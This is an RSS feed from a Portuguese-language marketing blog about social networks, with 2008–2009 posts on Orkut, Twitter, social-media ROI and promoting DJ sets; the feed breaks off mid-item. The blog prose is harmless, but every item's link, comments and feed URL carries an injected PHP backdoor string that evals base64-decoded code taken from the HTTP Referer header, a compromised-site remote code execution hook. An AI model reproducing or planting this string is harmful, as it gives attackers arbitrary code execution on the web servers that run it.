<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; orkut</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/orkut/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Sim, investir em redes sociais dá lucro!</title>
		<link>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 14:55:17 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[Altimeter Group]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[redessociais]]></category>
		<category><![CDATA[rp]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[socialmedia]]></category>
		<category><![CDATA[starbucks]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=187</guid>
		<description><![CDATA[Uma pesquisa recente publicada pela Altimeter Group, uma consultoria digital americana, mostrou que empresas que investiram fortemente na divulgação de seus produtos ou serviços através de redes sociais como Twitter, Blogs e Facebook tiveram um crescimento de 18% nos últimos 12 meses. As empresas que não investiram tanto assim em socialmedia, tiveram apenas 6% de [...]]]></description>
			<content:encoded><![CDATA[<p>Uma pesquisa recente publicada pela <span class="articleText"><a href="http://www.mediapost.com/publications/?fa=Articles.showArticle&amp;art_aid=110120" target="_blank">Altimeter Group</a>, uma consultoria digital americana, mostrou que empresas que investiram fortemente na divulgação de seus produtos ou serviços através de redes sociais como Twitter, Blogs e Facebook tiveram um crescimento de 18% nos últimos 12 meses. As empresas que não investiram tanto assim em socialmedia, tiveram apenas 6% de crescimento.</span></p>
<p>A pesquisa analisou a performance de empresas em 10 redes sociais, e as que tiveram mais sucesso no último ano foram Starbuck, Dell, eBay, Google e Microsoft.</p>
<p>O estudo mostrou que os investimento em socialmedia retornam no próprio crescimento da marca, pois ações bem planejadas fazem com que consumidores e não-clientes se envolvam com a marca e divulguem suas empresas por livre e espontânea vontade.</p>
<p>É claro que as ações em socialmedia das empresas citadas acima vão muito além de postar links no Twitter ou escrever posts sobre assuntos diversos. A Starbucks, por exemplo, criou uma comunidade onde as melhores ideias para melhorar a empresa eram realmente colocadas em prática. Este tipo de ação vai além de informar e compartilhar conteúdo, chamando para que as pessoas realmente se envolvam com a marca, seus produtos, e seu negócio em geral.</p>
<p>Investir em ações para redes sociais não é apenas criar um perfil em todas as redes existentes, e pagar para que uma empresa qualquer entupa os feeds com conteúdo, mas sim definir estratégicas para oferecer a alguns públicos e nichos específicos algo que realmente eles queiram ler, ver ou ouvir.</p>
<p>O investimento em social que dá lucro, é quando alguém realmente se envolve com a causa.</p>
<p>Pense nisso.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Perfil dos consumidores das redes sociais</title>
		<link>http://fullcircle.com.br/blog/2009/07/01/perfil-dos-consumidores-das-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/07/01/perfil-dos-consumidores-das-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 17:44:00 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[consumidor]]></category>
		<category><![CDATA[e-life]]></category>
		<category><![CDATA[fullcircle]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[socialmedia]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=184</guid>
		<description><![CDATA[Recentemente a E-life divulgou uma pesquisa sobre o perfil dos usuários de redes sociais no Brasil.
O Twitter, que no ano passado era a 6ª rede social mais acessada pelos brasileiros, tornou-se o segundo colocado, com 23% do mercado. O Orkut continua em primeiro no quesito MGC (Mídia Gerada pelo Consumidor &#8211; ou seja, onde os [...]]]></description>
			<content:encoded><![CDATA[<p>Recentemente a <a href="http://www.adnews.com.br/internet.php?id=90528" target="_blank">E-life</a> divulgou uma pesquisa sobre o perfil dos usuários de redes sociais no Brasil.</p>
<p>O Twitter, que no ano passado era a 6ª rede social mais acessada pelos brasileiros, tornou-se o segundo colocado, com 23% do mercado. O Orkut continua em primeiro no quesito MGC (Mídia Gerada pelo Consumidor &#8211; ou seja, onde os próprios consumidores falam de uma marca ou empresa) com45,9% do mercado.</p>
<p>Certa vez fui questionado por um cliente sobre o perfil das pessoas que acessam este tipo de rede social, e a pesquisa da E-life, realizada entre Janeiro e Abril, demonstra que a maioria são jovens entre 19 e 25 anos, seguidos pela faixa etária de 26 a 30 anos. Já os dados demográficos de acesso mostram que a região Sudeste detem 64,8% dos acessos, seguida pela região Sul com 15,6%.</p>
<p>O CEO da E-life, Alessandro Barbosa faz uma observação importante, e que responde às dúvidas de quem ainda tem medo em investir sua verba de comunicação nas redes sociais:</p>
<p>Isso nos permite prever que o hábito de leitura e utilização das mídias sociais para decisão de compra de produtos e serviços irá se consolidar nos próximos anos, juntamente com o envelhecimento da população jovem, pioneira no uso das redes sociais.</p>
<p>O que muitas empresas estão percebendo, é que hoje existe uma nova forma de vender seus anúncios na Internet, através de um relacionamento mais próximo com seus consumidores através das redes sociais. Ao passo que esta população, ainda jovem, começar a envelhecer, tornar-se-á cada vez mais ativa e mais consumidora de serviços e produtos na Internet, inclusive dentro das próprias redes sociais.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/07/01/perfil-dos-consumidores-das-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Como escolher a melhor rede social para seu cliente</title>
		<link>http://fullcircle.com.br/blog/2009/06/16/como-escolher-a-melhor-rede-social-para-seu-cliente/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/06/16/como-escolher-a-melhor-rede-social-para-seu-cliente/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 15:35:48 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fullcircle]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[lao]]></category>
		<category><![CDATA[mídias]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[multiply]]></category>
		<category><![CDATA[ning]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[socialmedia]]></category>
		<category><![CDATA[sonico]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=179</guid>
		<description><![CDATA[Em um belo dia seu cliente se toca que precisa estar nas redes sociais. Até aí nada demais, pois a maioria dos clientes já percebeu isso e já estão se movimentando.
Mas você, que trabalha em agência, que trabalha com Internet, sabe defender perante o seu cliente, qual a melhor rede social para ele marcar sua [...]]]></description>
			<content:encoded><![CDATA[<p>Em um belo dia seu cliente se toca que precisa estar nas redes sociais. Até aí nada demais, pois a maioria dos clientes já percebeu isso e já estão se movimentando.</p>
<p>Mas você, que trabalha em agência, que trabalha com Internet, sabe defender perante o seu cliente, qual a melhor rede social para ele marcar sua presença na web? Digo isto porque, falar para o cliente criar um perfil no <strong>Twitter</strong>, no <strong>Facebook </strong>e no <strong>Orkut </strong>é super fácil, mas como argumentar que estes perfis (e toda manutenção de conteúdo que eles envolvem) vão trazer resultados reais, por exemplo, em vendas para o cliente?</p>
<p>Recentemente criamos para um cliente vários perfis em redes sociais. Mas a escolha de cada uma seguiu fatores bem distintos, alinhados com a necessidade principal do cliente passada no briefing, que era aumentar seu posicionamento na busca orgânica do Google.</p>
<p>Desta forma, escolhemos para este cliente, preferencialmente, redes sociais que tivessem seu conteúdo indexado pelo Google. Por exemplo, optamos pelo <strong>Ning </strong>ao invés de soluções em PHP Open Source (PHP Bulletin Board) pela melhor indexação no <strong>Google</strong>, mesmo que o <strong>Ning </strong>tenha menos funcionalidades que o <strong>Multiply </strong>e o <strong>Sonico</strong>. Porém, o <strong>Ning </strong>oferecia uma interface mais agradável e mais simples, o que facilitaria a adesão do público que não é heavy-user de Internet.</p>
<p>Optamos pelo <strong>Flickr </strong>ao invés de sites como <strong>Fotolog </strong>e até mesmo <strong>Orkut</strong>, pois a cada foto postada, poderíamos inserir diversas palavras-chaves, gerando mais conteúdo para otimizar a busca orgânica de nosso cliente.</p>
<p>Muita gente já sabe disso, mas tem muita gente que ainda não sabe, e sai por aí criando perfil em tudo, e que depois ficam abandonados, criando uma imagem contrária ao invés de marcar presença na web. Por isso, antes de criar um perfil para um cliente, analise qual das redes sociais será mais viável para os objetivos deste cliente, analise também a viabilidade em atualizar as informações desta rede, e sempre, julgue se é mais viável um perfil empresarial ou individual. Vale lembrar que as redes sociais são primeiramente lugares para o convívio e relacionamento de pessoas. A adesão de empresas pode, às vezes, não ser vista com bons olhos pelos demais usuários.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/06/16/como-escolher-a-melhor-rede-social-para-seu-cliente/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Orkut X Twitter no Brasil</title>
		<link>http://fullcircle.com.br/blog/2009/04/15/orkut-x-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/04/15/orkut-x-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 19:58:07 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[brasil]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=169</guid>
		<description><![CDATA[Vamos considerar alguns fatos de extrema importância antes de afirmar o futuro do Twitter no Brasil em relação ao Orkut:
- Quando o Orkut surgiu, o preço dos computadores ainda era relativamente alto, o que excluía quase que por completo o acesso das classes C e D à Internet.
- O Orkut mostra informações sobre a vida [...]]]></description>
			<content:encoded><![CDATA[<p>Vamos considerar alguns fatos de extrema importância antes de afirmar o futuro do Twitter no Brasil em relação ao Orkut:</p>
<p>- Quando o Orkut surgiu, o preço dos computadores ainda era relativamente alto, o que excluía quase que por completo o acesso das classes C e D à Internet.<br />
- O Orkut mostra informações sobre a vida das pessoas. O twitter mostra o que você está pensando e fazendo, a cada segundo. Temos de concordar que você fala e pensa com muito mais freqüência do que muda seu estilo de vida.<br />
- A curiosidade matou o gato, e brasileiro é curioso. Basta acontecer um acidente, que em segundos junta-se dezenas de pessoas ao redor. Se considerarmos que as classes mais humildes são ainda mais curiosas (experimente bater o carro na Oscar Freire e depois na 25 de Março e veja onde junta mais curioso), o twitter oferece uma vitrine muito maior que o Orkut. Você consegue captar a essência de cada um, mesmo através de twitts com 140 caracteres.<br />
- No twitter você consegue saber da vida de alguém minuto a minuto. No Orkut, quase sempre, a informação estará desatualizada em ao menos 24 horas.</p>
<p>Esses são apenas alguns itens que acho importante considerarmos nessa comparação. Acho que muita coisa pode acontecer, mas se eu tivesse que apostar, colocaria todas as minhas fichas na hipótese de que o Twitter será a maior rede social brasileira em apenas um ano.</p>
<p>E prepare-se. Porque se isso acontecer, muita coisa vai mudar. Assim como o Orkut mudou a forma como as pessoas se relacionam – basta acessar o perfil de alguém para tirarmos algumas impressões – imagine se todo mundo ler o que você fala, pensa e acha de qualquer assunto ou situação&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/04/15/orkut-x-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;Mimimi&#8221; da Revista Época sobre o Twitter</title>
		<link>http://fullcircle.com.br/blog/2009/03/17/mimimi-da-revista-epoca-sobre-o-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/03/17/mimimi-da-revista-epoca-sobre-o-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 13:07:41 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Inovação]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[blogs]]></category>
		<category><![CDATA[época]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[revista época]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twiiter]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=156</guid>
		<description><![CDATA[O assunto da semana é a capa da revista Época sobre o Twitter.
Toda vez que uma revista de circulação nacional dá capa para um assunto de informática o negócio degringola, dizem. Foi assim com o Orkut, com os blogs, com o iPod, e agora com o Twiiter.
A diferença é que uma revista como a Época [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="margin: 5px; float: left;" src="http://fullcircle.com.br/blog/images/capaepocatwitter.jpg" alt="Capa época" width="118" height="162" />O assunto da semana é a <a href="http://revistaepoca.globo.com/Revista/Epoca/0,,EMI64069-15228,00-O+TWITTER+VE+E+MOSTRA+TUDO.html" target="_blank">capa</a> da revista Época sobre o Twitter.</p>
<p>Toda vez que uma revista de circulação nacional dá capa para um assunto de informática o negócio degringola, dizem. Foi assim com o Orkut, com os blogs, com o iPod, e agora com o Twiiter.</p>
<p>A diferença é que uma revista como a Época consegue alcançar a grande massa, e os early-adopters tendem a achar que o negócio vai virar bacanal, vai virar Brasil.</p>
<p>A reportagem não fala de tecnologia, mas sim de comportamento. Andam dizendo que brasileiro gosta de saber da vida alheia, mas só os brasileiros? E o sucesso do twitter no resto do mundo?</p>
<p>O Orkut possibilitou que eu pudesse saber mais da sua vida, da vida do meu vizinho, dos meus colegas de trabalho, da minha irmã, da sua ex-namorada. Já o twitter permite saber o que cada uma dessas pessoas falam e pensam, a cada segundo, 24 horas por dia. E mais: com uma velocidade impressionante.</p>
<p>Se um avião cair ao lado da minha janela, vai ser muito mais rápido esplahar a informação pelo twitter do que pegar o celular e fazer uma ligação.</p>
<p>Outro fator importante são as pessoas que te seguem, que leem o que você escreve. O meu poder de &#8220;viralizar&#8221; uma informação pode ser muito maior que o seu, porque as pessoas que me seguem são seguidas por mais pessoas, e estas pessoas podem ser jornalistas, terem blogs, ou conseguirem de qualquer outra forma divulgar uma notícia muito mais rápido que você.</p>
<p>O twitter é tão interessante pela sua versatilidade. Você usa do jeito que mais lhe convém: como chat (MSN, celular), pra saber da vida dos outros (como Orkut), para aprender mais sobre um assunto (como um fórum de discussão), para relacionar-se com seus clientes (como um Fale Conosco), para divulgar produtos, promoções, novidades (como um e-mail marketing) e de milhares de outras maneiras que cada um vai descobrindo com o tempo.</p>
<p>O twitter surgiu em 2006, é relativamente novo. As pessoas e empresas ainda estão aprendendo todas as possibilidades que a ferramenta oferece. Assim como quando surgiu a Informática, a Internet, o MSN, o Orkut, leva-se um tempo até aprendermos e nos acostumarmos com algo novo. O legal é ver as diferentes formas de uso.</p>
<p>Acho que ainda tem pouca empresa que sabe lidar com o twitter, então é erroneo julgar quem usa bem, quem usa mal. A ferramenta é versátil, e do jeito que funciona pra mim, pode não ser tão interessante para você. Faça do twitter o que melhor lhe convem.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/03/17/mimimi-da-revista-epoca-sobre-o-twitter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Prontofalei nas redes sociais</title>
		<link>http://fullcircle.com.br/blog/2009/02/17/prontofalei-nas-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/02/17/prontofalei-nas-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 13:22:02 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redes sociais]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=143</guid>
		<description><![CDATA[Já que é a tendência, o PRONTOFALEI invade as redes sociais.
Para os que acompanham o blog e dão sua opinião, agora vamos ter mais um monte de canais para nos relacionarmos. Fale comigo através das redes sociais que você mais gosta e usa, participe das nossas comunidades e grupos, sugira assuntos, temas, meta o pau, [...]]]></description>
			<content:encoded><![CDATA[<p>Já que é a tendência, o PRONTOFALEI invade as redes sociais.</p>
<p>Para os que acompanham o blog e dão sua opinião, agora vamos ter mais um monte de canais para nos relacionarmos. Fale comigo através das redes sociais que você mais gosta e usa, participe das nossas comunidades e grupos, sugira assuntos, temas, meta o pau, dê sugestões, e construa um mundo melhor (#profético)</p>
<p>Eu sou um cara que odeia rotina, e a coisa mais difícil em manter este blog, é focar apenas em um nicho de assuntos.</p>
<p>Quero a sua opinião sobre o que mais podemos discutir.</p>
<p>Fale o que quiser, mas fale.</p>
<p>Porque o legal de ser espontâneo é isso: quando a gente menos percebe, pronto, falou.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/02/17/prontofalei-nas-redes-sociais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como ser um DJ de sucesso</title>
		<link>http://fullcircle.com.br/blog/2009/01/18/como-ser-um-dj-de-sucesso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/01/18/como-ser-um-dj-de-sucesso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 18 Jan 2009 22:33:28 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Inovação]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[cansei de ser sexy]]></category>
		<category><![CDATA[comunidades]]></category>
		<category><![CDATA[dj]]></category>
		<category><![CDATA[djs]]></category>
		<category><![CDATA[kazaa]]></category>
		<category><![CDATA[last fm]]></category>
		<category><![CDATA[last.fm]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[scrobbling]]></category>
		<category><![CDATA[torrent]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=128</guid>
		<description><![CDATA[Na verdade, não sei como se faz para ser um DJ de sucesso, mas sei de algo que pode ajudar um pouco na busca pela fama:
Em todas as músicas ou sets disponibilizadas na Internet através de amigos, comunidades como Orkut e Myspace, ou através de programas p2p como Kazza ou Torrents, sempre preencha os campos [...]]]></description>
			<content:encoded><![CDATA[<p>Na verdade, não sei como se faz para ser um DJ de sucesso, mas sei de algo que pode ajudar um pouco na busca pela fama:</p>
<p>Em todas as músicas ou sets disponibilizadas na Internet através de amigos, comunidades como <strong>Orkut </strong>e <strong>Myspace</strong>, ou através de programas <strong>p2p </strong>como <strong>Kazza </strong>ou <strong>Torrents</strong>, sempre preencha os <em>campos de ID</em> da faixa, os chamados<em> ID TAGs</em>, com o seu nome no campo artista, e o nome da música.</p>
<p>Programas que fazem <em>scrobbling </em>(identificam a música que toca no seu computador e compartilha com outras pessoas na Internet) como o <a href="http://www.lastfm.com.br/user/idmansp" target="_blank">Last.fm</a> podem divulgar sua música gratuitamente na mais popular das rádios online do mundo. Futuramente você poderá criar sua página como um artista no Last.fm, aumentará a divulgação do seu som, levantará uma legião de fãs, vender CDs, e finalmente, quem sabe, ser um DJ de sucesso.</p>
<p style="text-align: center;"><img class="aligncenter" style="margin: 10px;" src="http://fullcircle.com.br/blog/images/itunes.jpg" alt="" width="335" height="227" /></p>
<p>O caminho pode ser longo, mas com inovação se torna mais fácil. Bandas como <strong>Cansei de Ser Sexy</strong> tornaram-se um fenômeno mundial divulgado a partir de comunidades online como o Last.fm.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/01/18/como-ser-um-dj-de-sucesso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>O Orkut mudou sua vida?</title>
		<link>http://fullcircle.com.br/blog/2008/12/27/o-orkut-mudou-sua-vida/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/12/27/o-orkut-mudou-sua-vida/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 03:36:45 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Inovação]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[fotolog]]></category>
		<category><![CDATA[mídias sociais]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[tendências]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=118</guid>
		<description><![CDATA[Engraçado como algumas novidades depois de um tempo parecem as coisas mais bobas do mundo.
Acho que em 2003 eu fiz uma conta numa rede social (até então este nome nem sequer existia) para fazer amigos através da troca de fotos na Internet, o Fotolog.
Hoje vejo que o Orkut transformou-se na mesma coisa que o fotolog [...]]]></description>
			<content:encoded><![CDATA[<p>Engraçado como algumas novidades depois de um tempo parecem as coisas mais bobas do mundo.</p>
<p>Acho que em 2003 eu fiz uma conta numa rede social (até então este nome nem sequer existia) para fazer amigos através da troca de fotos na Internet, o <a href="http://www.fotolog.net" target="_blank">Fotolog</a>.</p>
<p>Hoje vejo que o <a href="http://www.orkut.com" target="_blank">Orkut</a> transformou-se na mesma coisa que o fotolog foi há 5 ou 6 anos atrás: os usuário postam fotos diariamente, sabem das atualizações dos seus amigos através de textos e imagem, e ainda podem fazer comentários.</p>
<p>Como o Orkut pôde ser tão ineficiente por anos?</p>
<p>Tadinho do Fotolog, uma rede social injustiçada.</p>
<p>Na verdade, acho que a Internet começou a dar sinais de falta de inovação e criatividade. Tudo já foi inventado, e existe em grande quantidade. É hora de alguém realmente inventar uma coisa nova, que mude o curso da humanidade, como foi a roda ou a televisão. Talvez re-inventar a roda seja a solução, já que talvez estejamos andando em círculos.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/12/27/o-orkut-mudou-sua-vida/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quando a guerrilha se confunde</title>
		<link>http://fullcircle.com.br/blog/2008/10/21/quando-a-guerrilha-se-confunde/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/10/21/quando-a-guerrilha-se-confunde/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 04:53:59 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Propaganda]]></category>
		<category><![CDATA[espalhe]]></category>
		<category><![CDATA[guerrilha]]></category>
		<category><![CDATA[idman]]></category>
		<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[mr. manson]]></category>
		<category><![CDATA[non-media]]></category>
		<category><![CDATA[orkut]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=89</guid>
		<description><![CDATA[
